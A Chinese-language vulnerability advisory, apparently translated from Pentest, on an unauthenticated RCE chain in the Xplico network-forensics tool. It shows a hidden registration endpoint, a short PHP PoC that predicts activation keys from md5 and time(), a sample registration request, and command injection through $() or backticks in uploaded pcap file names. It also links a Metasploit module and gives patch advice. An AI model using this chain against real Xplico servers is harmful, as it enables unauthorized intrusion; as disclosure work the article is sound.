著名开源网络取证工具Xplico远程未授权RCE漏洞

2017-11-24 165377人围观 ,发现 2 个不明物体 工具

著名开源网络取证工具Xplico远程未授权RCE漏洞

著名Linux开源网络取证工具Xplico可以捕获Internet网络应用层流量,通过流量解析,解析出网络包中的各种应用数据。例如,可以从Pcap文件包中解析出IP流量数据,也可以从POP、IMAP和SMTP协议中解析出邮件HTTP内容以及VOIP应用等。近期,我们团队发现了Xplico的一个远程未授权RCE漏洞。

漏洞信息

远程利用: 是

授权需要: 否

漏洞影响:Xplico

CVSSv3漏洞评分: 9.0 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H/E:H/RL:U)

发现日期:2017.10.31

技术分析

本质上讲,我们发现了Xplico的3个漏洞,综合利用这3个漏洞最终可导致严重的无需授权远程代码执行漏洞(RCE)。

漏洞1:隐藏的用户注册功能

在Xplico系统中存在一个隐藏的用户注册接口,任何人都可以通过接口http://<ip_address>:9876/users/register注册新用户:

著名开源网络取证工具Xplico远程未授权RCE漏洞

漏洞2:激活码生成中使用了弱随机化算法

一旦用户通过上述用户注册功能进行注册,该用户会接收到一封激活邮件,需要通过该邮件进行帐户激活,以下是该过程涉及的主要代码:

if ($this->Group->save($this->request->data)) {
                            $this->request->data['User']['password'] = md5($this->request->data['User']['password']);
                            $this->request->data['User']['em_key'] = md5($this->request->data['User']['email'].$this->request->data['User']['password'].time());
                            $gid = $this->Group->getID();
                            $this->request->data['User']['group_id'] = $gid;
                            $this->User->create();
                            if ($this->User->save($this->request->data)) {
                                if (1) {
                                    // send email to confirm registration
                                    mail($this->request->data['User']['email'], "Xplico - Account Activation Request",
                                         "To confirm click the link below\n http://demo.xplico.org/users/registerConfirm/".$this->request->data['User']['em_key']."\n",
                                         "From: register@xplico.org");
                                    $this->Session->setFlash(__('To complete registration wait the email'));
                                }
                                else {
                                    $this->Session->setFlash(__('Registration Completed'));
                                    $this->User->saveField('em_checked', 1);
                                }
                                $this->redirect('/users/index');
                            }
                            else {
                                $this->Group->delete($gid);
                                $this->Session->setFlash(__('There was a problem saving this information'));
                            }
                        }

发给用户的激活邮件中包含了激活码,而激活码则存储在数据库的em_key区域。

不幸的是,这封激活邮件很可能就到不了用户的注册邮箱中,而且还有一个简单的方法可以计算出em_key中的激活码值。

md5($this->request->data['User']['email'].$this->request->data['User']['password'].time());

仔细看以上md5对em_key值的调用过程,我们来分析分析:

$this->request->data['User']['email'],这段代码是用户注册时的给定邮箱地址输入,看你想预留的邮箱是什么就输入什么,当然是已知的了;

$this->request->data['User']['password'],这段代码则是户注册时的给定账户密码,看你想预留的密码是什么就输入什么,也是已知的;

time():该函数会已unix时间格式返回当前时间,但不包含毫秒,所以一旦我们收到来自服务器的http响应,我们可以查看其数据头并计算出确切的时间值,然后只要在1秒内完成执行就能有效。

这就是一个用户注册时产生的POST请求,其中包含了需要用户填写的注册邮箱和注册密码值:

POST /users/register HTTP/1.1
Host: 12.0.0.41:9876
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 338
Upgrade-Insecure-Requests: 1

_method=POST&data[_Token][key]=a84ad2730fdd215f7795a2cf14feb8c2788c6ff5d2d1d8e839736cb4626ce48c1b63ee6c798cd1a6de15f88314dd39f2a1fdf10cbf412c37eda882dfb0120c97&data[User][email]=hacker@hacker.com&data[User][username]=hacker&data[User][password]=123456&data[_Token][fields]=57a700573f4839c45778a5dee8b04184f40c6481:&data[_Token][unlocked]=

而以下则是注册后的Xplico系统端响应,它会跳转到用户登录界面,如果当前这种响应-登录动作可在1秒内完成,在em_key的生成过程中,其time()时间值都是一样的,也就对应最终的激活码一样。

HTTP/1.1 302 Found
Date: Tue, 31 Oct 2017 08:33:01 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000; include Subdomains;
X-Powered-By: PHP/5.5.9-1ubuntu4.22
Location: http://12.0.0.41:9876/users/index
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

以下是依照上述我们分析的思路,总结的一个计算em_key生成的PoC:

<?php

$email = "hacker@hacker.com";
$password = "123456";

$token = md5($email.md5($password).strtotime("Tue, 31 Oct 2017 08:33:01 GMT"));

echo $token;

漏洞3:认证命令注入

由于Xplico具备PCAP流量包解析功能,所以可以通过以下界面模块上传pcap文件,该模块受密码保护。

著名开源网络取证工具Xplico远程未授权RCE漏洞

一旦pcap文件上传后,将会执行以下系统命令:

sh –c md5sum “/opt/xplico/pol_1/sol_1/new/[NAME_OF_PCAP_FILE]” > /tmp/dema_hash.txt

命令中的pcap文件名[NAME_OF_PCAP_FILE]直接取自用户输入,但在文件名输入中使用$()或“技巧后,就可间接执行我们自己设置的操作系统命令。

Exploit

https://github.com/rapid7/metasploit-framework/pull/9206/files

Metasploit反弹控制实验

著名开源网络取证工具Xplico远程未授权RCE漏洞

著名开源网络取证工具Xplico远程未授权RCE漏洞g

缓解更新

目前,由于Xplico可集成在Security Onion、Ubuntu、VirtualBox等多种网络分析取证产品中,而受该漏洞影响,经我们与Xplico软件开发维护商取得联系后,Xplico方面已经发布了更新版本的1.2.1,请受影响用户及时下载更新

*参考来源:pentest,freebuf小编clouds编译,转载请注明来自FreeBuf.COM   

发表评论

已有 2 条评论

取消
Loading...
css.php